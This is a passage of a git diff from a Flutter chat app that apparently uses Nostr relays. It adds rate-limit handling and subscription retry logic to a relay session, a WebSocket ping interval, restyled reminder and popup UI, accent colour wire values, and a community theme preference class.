+  final Map<Object, String> _visibleChannelsByOwner = {};
+  bool _socketConnected = false;
+  bool _closedRetryReplayScheduled = false;
 
   @override
   SessionState build() {
@@ -158,6 +189,7 @@ class RelaySessionNotifier extends Notifier<SessionState> {
           if (shouldCloseClient) client.close();
         });
     if (response.statusCode < 200 || response.statusCode >= 300) {
+      _activateRateLimitGateFromHttpError(response.body);
       throw RelayException(response.statusCode, response.body);
     }
     final decoded = jsonDecode(response.body);
@@ -178,12 +210,30 @@ class RelaySessionNotifier extends Notifier<SessionState> {
     }
   }
 
+  void _activateRateLimitGateFromHttpError(String body) {
+    final dynamic decoded;
+    try {
+      decoded = jsonDecode(body);
+    } on FormatException {
+      return;
+    }
+    if (decoded is! Map<String, dynamic>) return;
+    final message = decoded['error'];
+    if (message is! String ||
+        classifyRelayClosed(message) != RelayClosedClass.rateLimited) {
+      return;
+    }
+    _rateLimitGate.activate(parseRateLimitRetrySeconds(message));
+  }
+
   /// Fetch historical events matching [filter]. Sends REQ, collects events
   /// until EOSE, then resolves. One-shot subscription.
   Future<List<NostrEvent>> fetchHistory(
     NostrFilter filter, {
     Duration timeout = const Duration(seconds: 8),
-  }) {
+  }) async {
+    if (_rateLimitGate.isActive) await _rateLimitGate.wait();
+    if (_disposed) throw StateError('Relay session is disposed');
     final subId = _nextSubId('h');
     final completer = Completer<List<NostrEvent>>();
 
@@ -214,6 +264,7 @@ class RelaySessionNotifier extends Notifier<SessionState> {
     void Function(NostrEvent) onEvent, {
     void Function(String message)? onClosed,
   }) async {
+    if (_disposed) throw StateError('Relay session is disposed');
     final subId = _nextSubId('l');
     final readyCompleter = Completer<void>();
 
@@ -285,11 +336,35 @@ class RelaySessionNotifier extends Notifier<SessionState> {
   void debugFlushEventBuffer() => _flushEventBuffer();
 
   @visibleForTesting
-  void debugHandleConnected() => _handleConnected(_connectionGeneration);
+  Future<void> debugHandleConnected() =>
+      _handleConnected(_connectionGeneration);
+
+  @visibleForTesting
+  Future<void> debugReplayLiveSubscriptions() =>
+      _replayLiveSubscriptions(_connectionGeneration);
+
+  @visibleForTesting
+  void debugDispose() => _dispose();
+
+  @visibleForTesting
+  void debugSupersedeConnection() => _connectionGeneration++;
+
+  @visibleForTesting
+  void debugHandleDisconnected([Object? error]) {
+    _socketConnected = false;
+    _handleDisconnected(_connectionGeneration, error);
+  }
 
   @visibleForTesting
-  void debugHandleDisconnected([Object? error]) =>
-      _handleDisconnected(_connectionGeneration, error);
+  void debugResetClosedRetriesForDisconnect() {
+    _socketConnected = false;
+    _resetAllClosedRetries();
+  }
+
+  @visibleForTesting
+  void debugSetSessionStatus(SessionStatus status) {
+    _socketConnected = status == SessionStatus.connected;
+  }
 
   @visibleForTesting
   void debugPauseNow() => _pauseNow();
@@ -302,11 +377,20 @@ class RelaySessionNotifier extends Notifier<SessionState> {
   void debugAttachSocketForTest(RelaySocket socket) {
     _socket?.dispose();
     _socket = socket;
-    state = const SessionState(status: SessionStatus.connected);
+    _socketConnected = true;
+  }
+
+  /// Registers a visible channel and returns an owner-scoped release callback.
+  /// The most recently registered owner is prioritized during reconnect replay.
+  void Function() registerVisibleChannel(String channelId) {
+    final owner = Object();
+    _visibleChannelsByOwner[owner] = channelId;
+    return () => _visibleChannelsByOwner.remove(owner);
   }
 
   /// Force a reconnect (e.g., returning from background).
   Future<void> reconnect() async {
+    _socketConnected = false;
     await _socket?.disconnect();
     _reconnectDelayMs = _baseReconnectDelayMs;
     final config = ref.read(relayConfigProvider);
@@ -315,12 +399,14 @@ class RelaySessionNotifier extends Notifier<SessionState> {
 
   /// Called by the app lifecycle provider when the app goes to background.
   void onAppPaused() {
+    _backgroundedAt = _now();
     _backgroundGraceTimer?.cancel();
-    _backgroundGraceTimer = Timer(const Duration(seconds: 5), _pauseNow);
+    _backgroundGraceTimer = Timer(_backgroundGraceDuration, _pauseNow);
   }
 
   void _pauseNow() {
     _paused = true;
+    _socketConnected = false;
     _reconnectTimer?.cancel();
     _cancelAllHistory(Exception('App moved to background'));
     _rejectAllPending(Exception('App moved to background'));
@@ -331,12 +417,18 @@ class RelaySessionNotifier extends Notifier<SessionState> {
   /// Called by the app lifecycle provider when the app returns to foreground.
   void onAppResumed() {
     _paused = false;
+    final backgroundedAt = _backgroundedAt;
+    _backgroundedAt = null;
     _backgroundGraceTimer?.cancel();
     _backgroundGraceTimer = null;
 
-    // If still connected, nothing to do — the socket survived the background
-    // grace window.
-    if (state.status == SessionStatus.connected) return;
+    final backgroundedLongEnoughToRequireReconnect =
+        backgroundedAt != null &&
+        _now().difference(backgroundedAt) >= _backgroundGraceDuration;
+    if (!backgroundedLongEnoughToRequireReconnect &&
+        state.status == SessionStatus.connected) {
+      return;
+    }
 
     // Cancel any in-flight reconnect backoff timer so we reconnect immediately
     // instead of waiting for the (possibly large) exponential delay.
@@ -372,18 +464,21 @@ class RelaySessionNotifier extends Notifier<SessionState> {
     await socket.connect();
   }
 
-  void _handleConnected(int generation) {
+  Future<void> _handleConnected(int generation) async {
     if (_disposed || generation != _connectionGeneration) return;
+    _socketConnected = true;
     _hasConnectedOnce = true;
     _reconnectDelayMs = _baseReconnectDelayMs;
     state = const SessionState(status: SessionStatus.connected);
-    _replayLiveSubscriptions();
+    await _replayLiveSubscriptions(generation);
   }
 
   void _handleDisconnected(int generation, Object? error) {
     if (_disposed || generation != _connectionGeneration) return;
+    _socketConnected = false;
     _cancelAllHistory(error);
     _rejectAllPending(error);
+    _resetAllClosedRetries();
     _eventBuffer.clear();
     _flushTimer?.cancel();
     _flushTimer = null;
@@ -413,19 +508,84 @@ class RelaySessionNotifier extends Notifier<SessionState> {
 
   /// Replay all live subscriptions after a reconnect, with a time skew to
   /// catch events that occurred during the disconnect.
-  void _replayLiveSubscriptions() {
-    for (final entry in _liveSubscriptions.entries) {
-      final sub = entry.value;
-      final since = sub.lastSeenCreatedAt != null
-          ? sub.lastSeenCreatedAt! - _reconnectReplaySkewSeconds
-          : null;
-      final filter = since != null
-          ? sub.filter.copyWithSince(since)
-          : sub.filter;
-      _sendReq(entry.key, filter);
+  Future<void> _replayLiveSubscriptions(int generation) async {
+    if (_rateLimitGate.isActive) await _rateLimitGate.wait();
+    if (!_isActiveConnection(generation)) return;
+
+    final entries = _liveSubscriptions.entries.toList();
+    final visibleChannelId = _visibleChannelsByOwner.isEmpty
+        ? null
+        : _visibleChannelsByOwner.values.last;
+    if (visibleChannelId != null) {
+      entries.sort((left, right) {
+        final leftVisible =
+            left.value.filter.tags['#h']?.contains(visibleChannelId) ?? false;
+        final rightVisible =
+            right.value.filter.tags['#h']?.contains(visibleChannelId) ?? false;
+        if (leftVisible == rightVisible) return 0;
+        return leftVisible ? -1 : 1;
+      });
+    }
+
+    await _sendReplayBatches(entries, generation);
+  }
+
+  Future<void> _replayPendingClosedRetries(int generation) async {
+    if (!_isActiveConnection(generation)) return;
+    final entries = _pendingClosedRetries.entries
+        .where((entry) => entry.value.generation == generation)
+        .map(
+          (entry) => MapEntry<String, _LiveSubscription>(
+            entry.key,
+            entry.value.subscription,
+          ),
+        )
+        .toList();
+    await _sendReplayBatches(entries, generation, pendingClosedRetries: true);
+  }
+
+  Future<void> _sendReplayBatches(
+    List<MapEntry<String, _LiveSubscription>> entries,
+    int generation, {
+    bool pendingClosedRetries = false,
+  }) async {
+    for (var i = 0; i < entries.length; i += _replayBatchSize) {
+      if (_rateLimitGate.isActive) await _rateLimitGate.wait();
+      if (!_isActiveConnection(generation)) return;
+      final batch = entries.sublist(
+        i,
+        min(i + _replayBatchSize, entries.length),
+      );
+      for (final entry in batch) {
+        if (_liveSubscriptions[entry.key] != entry.value) continue;
+        if (pendingClosedRetries) {
+          final pendingRetry = _pendingClosedRetries[entry.key];
+          if (pendingRetry?.subscription != entry.value ||
+              pendingRetry?.generation != generation) {
+            continue;
+          }
+          _pendingClosedRetries.remove(entry.key);
+        }
+        _sendReq(entry.key, _replayFilter(entry.value));
+      }
+      if (i + _replayBatchSize < entries.length) {
+        await _replayDelay(_replayInterBatchDelay);
+      }
     }
   }
 
+  bool _isActiveConnection(int generation) =>
+      !_disposed && generation == _connectionGeneration;
+
+  NostrFilter _replayFilter(_LiveSubscription subscription) {
+    final since = subscription.lastSeenCreatedAt;
+    return since == null
+        ? subscription.filter
+        : subscription.filter.copyWithSince(
+            max(0, since - _reconnectReplaySkewSeconds),
+          );
+  }
+
   void _handleMessage(List<dynamic> data) {
     if (data.isEmpty) return;
     final type = data[0] as String;
@@ -458,6 +618,7 @@ class RelaySessionNotifier extends Notifier<SessionState> {
     // Live subscriptions get batched.
     final liveSub = _liveSubscriptions[subId];
     if (liveSub != null) {
+      _resetClosedRetry(liveSub);
       // Track last seen timestamp for reconnect replay.
       if (liveSub.lastSeenCreatedAt == null ||
           event.createdAt > liveSub.lastSeenCreatedAt!) {
@@ -485,6 +646,9 @@ class RelaySessionNotifier extends Notifier<SessionState> {
 
     // Live subscription: signal ready.
     final liveSub = _liveSubscriptions[subId];
+    if (liveSub != null) {
+      _resetClosedRetry(liveSub);
+    }
     if (liveSub != null &&
         liveSub.readyCompleter != null &&
         !liveSub.readyCompleter!.isCompleted) {
@@ -504,9 +668,13 @@ class RelaySessionNotifier extends Notifier<SessionState> {
     final message = data.length >= 3 && data[2] is String
         ? data[2] as String
         : 'subscription closed by relay';
+    final closedClass = classifyRelayClosed(message);
 
     final historySub = _historySubscriptions.remove(subId);
     if (historySub != null) {
+      if (closedClass == RelayClosedClass.rateLimited) {
+        _rateLimitGate.activate(parseRateLimitRetrySeconds(message));
+      }
       historySub.timeout.cancel();
       if (!historySub.completer.isCompleted) {
         historySub.completer.completeError(Exception(message));
@@ -514,17 +682,87 @@ class RelaySessionNotifier extends Notifier<SessionState> {
       return;
     }
 
-    final liveSub = _liveSubscriptions.remove(subId);
+    final liveSub = _liveSubscriptions[subId];
     if (liveSub == null) return;
-    _recentDeliveryKeys.removeWhere((key) => key.startsWith('$subId:'));
-
     final readyCompleter = liveSub.readyCompleter;
-    if (readyCompleter != null && !readyCompleter.isCompleted) {
-      readyCompleter.completeError(Exception(message));
+    if (closedClass == RelayClosedClass.terminal) {
+      if (readyCompleter != null && !readyCompleter.isCompleted) {
+        readyCompleter.completeError(Exception(message));
+      }
+      liveSub.onClosed?.call(message);
+      _removeLiveSubscription(subId, liveSub);
       return;
     }
+    if (readyCompleter != null && !readyCompleter.isCompleted) {
+      readyCompleter.complete();
+      liveSub.readyCompleter = null;
+    }
+    if (liveSub.closedRetryTimer != null) return;
+
+    final attempt = liveSub.closedRetryAttempt;
+    final backoffMs = attempt >= 5
+        ? _maxReconnectDelayMs
+        : _baseReconnectDelayMs * (1 << attempt);
+    var delayMs = backoffMs;
+    if (closedClass == RelayClosedClass.rateLimited) {
+      final retrySeconds = parseRateLimitRetrySeconds(message);
+      _rateLimitGate.activate(retrySeconds);
+      final fallbackMs =
+          (retrySeconds != null && retrySeconds > 0
+              ? min(retrySeconds, RelayRateLimitGate.maxRetrySeconds)
+              : RelayRateLimitGate.defaultRetrySeconds) *
+          1000;
+      delayMs = max(
+        backoffMs,
+        _rateLimitGate.remainingMs() == 0
+            ? fallbackMs
+            : _rateLimitGate.remainingMs(),
+      );
+    }
+
+    liveSub.closedRetryAttempt = attempt + 1;
+    final retryGeneration = _connectionGeneration;
+    liveSub.closedRetryTimer = _retryTimerFactory(
+      Duration(milliseconds: delayMs),
+      () async {
+        liveSub.closedRetryTimer = null;
+        if (!_isActiveConnection(retryGeneration) ||
+            _liveSubscriptions[subId] != liveSub) {
+          return;
+        }
+        if (_rateLimitGate.isActive) await _rateLimitGate.wait();
+        if (!_isActiveConnection(retryGeneration) ||
+            _liveSubscriptions[subId] != liveSub ||
+            !_socketConnected) {
+          return;
+        }
+        _pendingClosedRetries[subId] = _ClosedRetry(
+          subscription: liveSub,
+          generation: retryGeneration,
+        );
+        _scheduleClosedRetryReplay(retryGeneration);
+      },
+    );
+  }
 
-    liveSub.onClosed?.call(message);
+  void _scheduleClosedRetryReplay(int generation) {
+    if (_closedRetryReplayScheduled) return;
+    _closedRetryReplayScheduled = true;
+    scheduleMicrotask(() async {
+      try {
+        await _replayPendingClosedRetries(generation);
+      } finally {
+        _closedRetryReplayScheduled = false;
+        _pendingClosedRetries.removeWhere(
+          (_, retry) => retry.generation != _connectionGeneration,
+        );
+        if (_pendingClosedRetries.values.any(
+          (retry) => retry.generation == _connectionGeneration,
+        )) {
+          _scheduleClosedRetryReplay(_connectionGeneration);
+        }
+      }
+    });
   }
 
   void _handleOk(List<dynamic> data) {
@@ -619,9 +857,41 @@ class RelaySessionNotifier extends Notifier<SessionState> {
   }
 
   void _unsubscribe(String subId) {
+    final subscription = _liveSubscriptions[subId];
+    if (subscription != null) {
+      _removeLiveSubscription(subId, subscription);
+    }
+    _sendClose(subId);
+  }
+
+  void _removeLiveSubscription(String subId, _LiveSubscription subscription) {
+    if (_liveSubscriptions[subId] != subscription) return;
     _liveSubscriptions.remove(subId);
+    _pendingClosedRetries.remove(subId);
+    subscription.closedRetryTimer?.cancel();
+    subscription.closedRetryTimer = null;
     _recentDeliveryKeys.removeWhere((key) => key.startsWith('$subId:'));
-    _sendClose(subId);
+  }
+
+  void _resetClosedRetry(_LiveSubscription subscription) {
+    subscription.closedRetryAttempt = 0;
+    subscription.closedRetryTimer?.cancel();
+    subscription.closedRetryTimer = null;
+  }
+
+  void _cancelAllClosedRetries() {
+    _pendingClosedRetries.clear();
+    for (final subscription in _liveSubscriptions.values) {
+      subscription.closedRetryTimer?.cancel();
+      subscription.closedRetryTimer = null;
+    }
+  }
+
+  void _resetAllClosedRetries() {
+    _pendingClosedRetries.clear();
+    for (final subscription in _liveSubscriptions.values) {
+      _resetClosedRetry(subscription);
+    }
   }
 
   void _cancelAllHistory(Object? error) {
@@ -650,8 +920,19 @@ class RelaySessionNotifier extends Notifier<SessionState> {
     _reconnectTimer?.cancel();
     _flushTimer?.cancel();
     _backgroundGraceTimer?.cancel();
+    _backgroundedAt = null;
+    _cancelAllClosedRetries();
+    _rateLimitGate.reset();
+    _visibleChannelsByOwner.clear();
+    _socketConnected = false;
     _cancelAllHistory(null);
     _rejectAllPending(null);
+    final subscriptions = _liveSubscriptions.values.toList();
+    _liveSubscriptions.clear();
+    for (final subscription in subscriptions) {
+      subscription.closedRetryTimer?.cancel();
+      subscription.closedRetryTimer = null;
+    }
     _recentDeliveryKeys.clear();
     _socket?.dispose();
     _socket = null;
diff --git a/mobile/lib/shared/relay/relay_socket.dart b/mobile/lib/shared/relay/relay_socket.dart
index 267b030391..5b23279e81 100644
--- a/mobile/lib/shared/relay/relay_socket.dart
+++ b/mobile/lib/shared/relay/relay_socket.dart
@@ -3,6 +3,7 @@ import 'dart:convert';
 
 import 'package:flutter/foundation.dart';
 import 'package:nostr/nostr.dart' as nostr;
+import 'package:web_socket_channel/io.dart';
 import 'package:web_socket_channel/web_socket_channel.dart';
 
 import 'nostr_models.dart';
@@ -30,6 +31,12 @@ Exception classifyRelayAuthFailure(String message) {
 }
 
 class RelaySocket {
+  /// Interval for sending a ping and awaiting its pong before disconnecting.
+  static const pingInterval = Duration(seconds: 30);
+
+  @visibleForTesting
+  static Duration debugPingInterval = pingInterval;
+
   final String _wsUrl;
   final String? _nsec;
   final void Function(List<dynamic> message) _onMessage;
@@ -63,7 +70,10 @@ class RelaySocket {
     _state = SocketState.connecting;
 
     try {
-      _channel = WebSocketChannel.connect(Uri.parse(_wsUrl));
+      _channel = IOWebSocketChannel.connect(
+        Uri.parse(_wsUrl),
+        pingInterval: debugPingInterval,
+      );
       await _channel!.ready;
     } catch (e) {
       _state = SocketState.disconnected;
diff --git a/mobile/lib/shared/reminders/remind_me_later_sheet.dart b/mobile/lib/shared/reminders/remind_me_later_sheet.dart
index 8d02a57609..a2fb7c59e9 100644
--- a/mobile/lib/shared/reminders/remind_me_later_sheet.dart
+++ b/mobile/lib/shared/reminders/remind_me_later_sheet.dart
@@ -4,6 +4,7 @@ import 'package:lucide_icons_flutter/lucide_icons.dart';
 
 import '../theme/theme.dart';
 import '../widgets/sheet_divider.dart';
+import '../widgets/modal_presentation.dart';
 import 'reminder_service.dart';
 import 'reminder_time_presets.dart';
 
@@ -37,56 +38,59 @@ void showRemindMeLaterSheet({
     }
   }
 
-  showModalBottomSheet<void>(
+  showBuzzModalBottomSheet<void>(
     context: context,
     showDragHandle: true,
     builder: (sheetContext) => SafeArea(
-      child: SingleChildScrollView(
-        child: Padding(
-          padding: const EdgeInsets.fromLTRB(
-            Grid.gutter,
-            0,
-            Grid.gutter,
-            Grid.xs,
-          ),
-          child: Column(
-            mainAxisSize: MainAxisSize.min,
-            crossAxisAlignment: CrossAxisAlignment.start,
-            children: [
-              Padding(
-                padding: const EdgeInsets.only(
-                  left: Grid.half,
-                  bottom: Grid.xxs,
-                ),
-                child: Text(
-                  'Remind me about this message',
-                  style: Theme.of(sheetContext).textTheme.titleSmall,
+      child: IconTheme.merge(
+        data: const IconThemeData(size: 22),
+        child: SingleChildScrollView(
+          child: Padding(
+            padding: const EdgeInsets.fromLTRB(
+              Grid.gutter,
+              0,
+              Grid.gutter,
+              Grid.xs,
+            ),
+            child: Column(
+              mainAxisSize: MainAxisSize.min,
+              crossAxisAlignment: CrossAxisAlignment.start,
+              children: [
+                Padding(
+                  padding: const EdgeInsets.only(
+                    left: Grid.half,
+                    bottom: Grid.xxs,
+                  ),
+                  child: Text(
+                    'Remind me about this message',
+                    style: Theme.of(sheetContext).textTheme.titleSmall,
+                  ),
                 ),
-              ),
-              for (final preset in reminderTimePresets)
+                for (final preset in reminderTimePresets)
+                  ListTile(
+                    leading: const Icon(LucideIcons.clock),
+                    title: Text(preset.label),
+                    onTap: () {
+                      Navigator.of(sheetContext).pop();
+                      submit(preset.getTimestamp());
+                    },
+                  ),
+                const SheetDivider(),
                 ListTile(
-                  leading: const Icon(LucideIcons.clock),
-                  title: Text(preset.label),
-                  onTap: () {
-                    Navigator.of(sheetContext).pop();
-                    submit(preset.getTimestamp());
+                  leading: const Icon(LucideIcons.calendarClock),
+                  title: const Text('Pick a date & time'),
+                  onTap: () async {
+                    final navigator = Navigator.of(sheetContext);
+                    final timestamp = await _pickCustomDateTime(context);
+                    // Cancelled or not-in-the-future: keep the preset sheet
+                    // open so retrying doesn't mean long-pressing again.
+                    if (timestamp == null) return;
+                    if (navigator.mounted) navigator.pop();
+                    await submit(timestamp);
                   },
                 ),
-              const SheetDivider(),
-              ListTile(
-                leading: const Icon(LucideIcons.calendarClock),
-                title: const Text('Pick a date & time'),
-                onTap: () async {
-                  final navigator = Navigator.of(sheetContext);
-                  final timestamp = await _pickCustomDateTime(context);
-                  // Cancelled or not-in-the-future: keep the preset sheet
-                  // open so retrying doesn't mean long-pressing again.
-                  if (timestamp == null) return;
-                  if (navigator.mounted) navigator.pop();
-                  await submit(timestamp);
-                },
-              ),
-            ],
+              ],
+            ),
           ),
         ),
       ),
@@ -98,17 +102,20 @@ void showRemindMeLaterSheet({
 /// timestamp in seconds, or null when cancelled or not in the future.
 Future<int?> _pickCustomDateTime(BuildContext context) async {
   final now = DateTime.now();
-  final date = await showDatePicker(
+  final date = await showBuzzDialog<DateTime>(
     context: context,
-    initialDate: now,
-    firstDate: DateTime(now.year, now.month, now.day),
-    lastDate: now.add(const Duration(days: 365 * 2)),
+    builder: (_) => DatePickerDialog(
+      initialDate: now,
+      firstDate: DateTime(now.year, now.month, now.day),
+      lastDate: now.add(const Duration(days: 365 * 2)),
+    ),
   );
   if (date == null || !context.mounted) return null;
 
-  final time = await showTimePicker(
+  final time = await showBuzzDialog<TimeOfDay>(
     context: context,
-    initialTime: const TimeOfDay(hour: 9, minute: 0),
+    builder: (_) =>
+        const TimePickerDialog(initialTime: TimeOfDay(hour: 9, minute: 0)),
   );
   if (time == null) return null;
 
diff --git a/mobile/lib/shared/theme/accent_colors.dart b/mobile/lib/shared/theme/accent_colors.dart
index d54925b71a..0688a35754 100644
--- a/mobile/lib/shared/theme/accent_colors.dart
+++ b/mobile/lib/shared/theme/accent_colors.dart
@@ -6,41 +6,78 @@ class AccentColor {
   final Color light;
   final Color dark;
   final bool useThemeForegroundInDark;
+  final String wireValue;
 
   const AccentColor({
     required this.name,
     required this.light,
     required this.dark,
     this.useThemeForegroundInDark = false,
+    required this.wireValue,
   });
 }
 
 const accentColors = [
-  AccentColor(name: 'Blue', light: Color(0xFF3B82F6), dark: Color(0xFF60A5FA)),
-  AccentColor(name: 'Cyan', light: Color(0xFF06B6D4), dark: Color(0xFF22D3EE)),
-  AccentColor(name: 'Green', light: Color(0xFF22C55E), dark: Color(0xFF4ADE80)),
+  AccentColor(
+    name: 'Neutral',
+    light: Color(0xFF000000),
+    dark: Color(0xFFE1E4E8),
+    wireValue: 'neutral',
+    useThemeForegroundInDark: true,
+  ),
+  AccentColor(
+    name: 'Blue',
+    light: Color(0xFF3B82F6),
+    dark: Color(0xFF60A5FA),
+    wireValue: '#3b82f6',
+  ),
+  AccentColor(
+    name: 'Cyan',
+    light: Color(0xFF06B6D4),
+    dark: Color(0xFF22D3EE),
+    wireValue: '#06b6d4',
+  ),
+  AccentColor(
+    name: 'Green',
+    light: Color(0xFF22C55E),
+    dark: Color(0xFF4ADE80),
+    wireValue: '#22c55e',
+  ),
   AccentColor(
     name: 'Orange',
     light: Color(0xFFF97316),
     dark: Color(0xFFFB923C),
+    wireValue: '#f97316',
+  ),
+  AccentColor(
+    name: 'Red',
+    light: Color(0xFFEF4444),
+    dark: Color(0xFFF87171),
+    wireValue: '#ef4444',
+  ),
+  AccentColor(
+    name: 'Pink',
+    light: Color(0xFFEC4899),
+    dark: Color(0xFFF472B6),
+    wireValue: '#ec4899',
+  ),
+  AccentColor(
+    name: 'Lilac',
+    light: Color(0xFFC0A2F1),
+    dark: Color(0xFFC0A2F1),
+    wireValue: '#c0a2f1',
   ),
-  AccentColor(name: 'Red', light: Color(0xFFEF4444), dark: Color(0xFFF87171)),
-  AccentColor(name: 'Pink', light: Color(0xFFEC4899), dark: Color(0xFFF472B6)),
   AccentColor(
     name: 'Purple',
     light: Color(0xFFA855F7),
     dark: Color(0xFFC084FC),
+    wireValue: '#a855f7',
   ),
   AccentColor(
     name: 'Indigo',
     light: Color(0xFF6366F1),
     dark: Color(0xFF818CF8),
-  ),
-  AccentColor(
-    name: 'Black',
-    light: Color(0xFF000000),
-    dark: Color(0xFFFFFFFF),
-    useThemeForegroundInDark: true,
+    wireValue: '#6366f1',
   ),
 ];
 
@@ -59,7 +96,26 @@ Color accentColorForScheme(ColorScheme scheme, int accentIndex) {
 ///
 /// Keep this at the end of [accentColors] so existing saved accent indexes keep
 /// pointing at the same colors.
-const defaultAccentIndex = 8;
+const neutralAccentIndex = 0;
+const defaultAccentIndex = neutralAccentIndex;
 
 /// Legacy default: Catppuccin Mauve/the base theme primary.
 const legacyDefaultAccentIndex = -1;
+
+int? accentIndexForWireValue(String value) {
+  final index = accentColors.indexWhere((accent) => accent.wireValue == value);
+  return index < 0 ? null : index;
+}
+
+String legacyAccentWireValue(int? index) {
+  // Legacy mobile indexes 0...7 match desktop Blue...Indigo except Lilac,
+  // which did not exist. Black (8) has no desktop wire value, so migrate it
+  // deterministically to Neutral rather than publishing a mobile-only value.
+  if (index == 8) return 'neutral';
+  if (index != null && index >= 0 && index <= 5) {
+    return accentColors[index + 1].wireValue;
+  }
+  if (index == 6) return '#a855f7';
+  if (index == 7) return '#6366f1';
+  return '#3b82f6';
+}
diff --git a/mobile/lib/shared/theme/app_theme.dart b/mobile/lib/shared/theme/app_theme.dart
index f8000d79e2..1407357062 100644
--- a/mobile/lib/shared/theme/app_theme.dart
+++ b/mobile/lib/shared/theme/app_theme.dart
@@ -16,6 +16,7 @@ class Radii {
   static const double md = 8.0;
   static const double sm = 6.0;
   static const double card = 12.0; // grouped settings cards
+  static const double popover = 20.0;
   static const double dialog = 24.0; // desktop uses rounded-3xl for dialogs
 
   /// Fully rounds pills, circles, and other capsule shapes.
@@ -277,13 +278,22 @@ class AppTheme {
         labelPadding: EdgeInsets.zero,
       ),
 
-      // Popups/menus: desktop uses rounded-md (8px)
+      // Popups/menus share the elevated 20px mobile popover treatment.
       popupMenuTheme: PopupMenuThemeData(
-        color: scheme.surface,
-        elevation: 4,
+        color: scheme.surface.withValues(alpha: 0.98),
+        elevation: 8,
+        shadowColor: scheme.shadow.withValues(alpha: 0.18),
+        surfaceTintColor: Colors.transparent,
+        textStyle: textTheme.labelLarge?.copyWith(color: scheme.onSurface),
+        labelTextStyle: WidgetStatePropertyAll(
+          textTheme.labelLarge?.copyWith(color: scheme.onSurface),
+        ),
         shape: RoundedRectangleBorder(
-          borderRadius: BorderRadius.circular(Radii.md),
-          side: BorderSide(color: scheme.outline),
+          borderRadius: BorderRadius.circular(Radii.popover),
+          side: BorderSide(
+            color: Colors.black.withValues(alpha: 0.04),
+            width: 1,
+          ),
         ),
       ),
 
diff --git a/mobile/lib/shared/theme/buzz_theme.dart b/mobile/lib/shared/theme/buzz_theme.dart
index 1214b97790..416b9815e7 100644
--- a/mobile/lib/shared/theme/buzz_theme.dart
+++ b/mobile/lib/shared/theme/buzz_theme.dart
@@ -1,5 +1,8 @@
 import 'package:flutter/material.dart';
 
+import 'accent_colors.dart';
+import 'app_colors.dart';
+
 /// Name of the first-party Buzz theme. Buzz reuses the GitHub Light palette for
 /// every base color; the one thing that sets it apart is a branded gradient
 /// painted across the app's top section. Mirrors desktop, where the same
@@ -17,6 +20,57 @@ const buzzDarkThemeName = 'buzz-dark';
 bool isBuzzTheme(String themeName) =>
     themeName == buzzThemeName || themeName == buzzDarkThemeName;
 
+/// Whether the current widget tree is using the first-party Buzz treatment.
+bool isBuzzThemeContext(BuildContext context) =>
+    Theme.of(context).extension<AppColors>()?.topSectionGradient != null;
+
+/// Primary foreground for the mobile top navigation.
+///
+/// Every theme uses its own [ColorScheme.onSurface]. Buzz is the exception:
+/// its desktop-matching top gradient needs a neutral black or white foreground
+/// rather than the accent-derived color scheme foreground.
+Color navigationPrimaryForeground(BuildContext context) {
+  final scheme = Theme.of(context).colorScheme;
+  if (!isBuzzThemeContext(context)) return scheme.onSurface;
+  return scheme.brightness == Brightness.dark ? Colors.white : Colors.black;
+}
+
+/// Secondary label and placeholder foreground for the mobile top navigation.
+Color navigationSecondaryForeground(BuildContext context) {
+  final scheme = Theme.of(context).colorScheme;
+  if (!isBuzzThemeContext(context)) return scheme.onSurfaceVariant;
+  return navigationPrimaryForeground(context).withValues(alpha: 0.4);
+}
+
+/// Channel-section label and icon foreground for the mobile side navigation.
+///
+/// Section labels need more hierarchy than a placeholder. Buzz therefore uses
+/// a stronger neutral over its gradient, while all other themes preserve their
+/// established secondary foreground token.
+Color navigationSectionForeground(BuildContext context) {
+  final scheme = Theme.of(context).colorScheme;
+  if (!isBuzzThemeContext(context)) return scheme.onSurfaceVariant;
+  return navigationPrimaryForeground(context).withValues(alpha: 0.8);
+}
+
+/// Search-field surface for the mobile top navigation.
+Color navigationSearchSurface(BuildContext context) {
+  final scheme = Theme.of(context).colorScheme;
+  if (!isBuzzThemeContext(context)) return scheme.surfaceContainerHighest;
+  return navigationPrimaryForeground(context).withValues(alpha: 0.04);
+}
+
+/// A low-contrast navigation divider derived from the active theme foreground.
+Color navigationDivider(BuildContext context, double opacity) =>
+    navigationPrimaryForeground(context).withValues(alpha: opacity);
+
+/// Buzz renders with its fixed neutral foreground while preserving the stored
+/// wire accent so the user's choice returns on another theme.
+int effectiveAccentIndex(String themeName, String storedAccent) {
+  if (isBuzzTheme(themeName)) return neutralAccentIndex;
+  return accentIndexForWireValue(storedAccent) ?? defaultAccentIndex;
+}
+
 /// Gradient stops, matching desktop's `--buzz-gradient-*` custom properties.
 const _lightTop = Color(0xFFE6E6B6);
 const _lightBottom = Color(0xFFC4D0DA);
diff --git a/mobile/lib/shared/theme/community_theme_preference.dart b/mobile/lib/shared/theme/community_theme_preference.dart
new file mode 100644
index 0000000000..216f6a8d3c
--- /dev/null
+++ b/mobile/lib/shared/theme/community_theme_preference.dart
@@ -0,0 +1,167 @@
+import 'dart:convert';
+
+import 'package:flutter/material.dart';
+import 'package:shared_preferences/shared_preferences.dart';
+
+import 'accent_colors.dart';
+import 'theme_catalog.dart';
+import 'theme_provider.dart' show effectiveTheme, schemeForAppearanceMode;
+
+const communityThemeDTag = 'community-theme';
+const defaultCommunityTheme = CommunityThemePreference(
+  theme: 'buzz',
+  accent: '#3b82f6',
+  followSystem: true,
+);
+
+class CommunityThemePreference {
+  final int version;
+  final String theme;
+  final String accent;
+  final bool followSystem;
+
+  const CommunityThemePreference({
+    this.version = 1,
+    required this.theme,
+    required this.accent,
+    required this.followSystem,
+  });
+
+  factory CommunityThemePreference.fromJson(Map<String, dynamic> json) {
+    if (json['version'] != 1 ||
+        json['theme'] is! String ||
+        findTheme(json['theme'] as String) == null ||
+        json['accent'] is! String ||
+        accentIndexForWireValue(json['accent'] as String) == null ||
+        json['followSystem'] is! bool) {
+      throw const FormatException('Invalid community theme preference');
+    }
+    return CommunityThemePreference(
+      theme: json['theme'] as String,
+      accent: json['accent'] as String,
+      followSystem: json['followSystem'] as bool,
+    );
+  }
+
+  Map<String, dynamic> toJson() => {
+    'version': version,
+    'theme': theme,
+    'accent': accent,
+    'followSystem': followSystem,
+  };
+
+  ThemeMode get mode {
+    if (followSystem) return ThemeMode.system;
+    return findTheme(theme)?.isDark == true ? ThemeMode.dark : ThemeMode.light;
+  }
+
+  @override
+  bool operator ==(Object other) =>
+      other is CommunityThemePreference &&
+      theme == other.theme &&
+      accent == other.accent &&
+      followSystem == other.followSystem;
+
+  @override
+  int get hashCode => Object.hash(theme, accent, followSystem);
+}
+
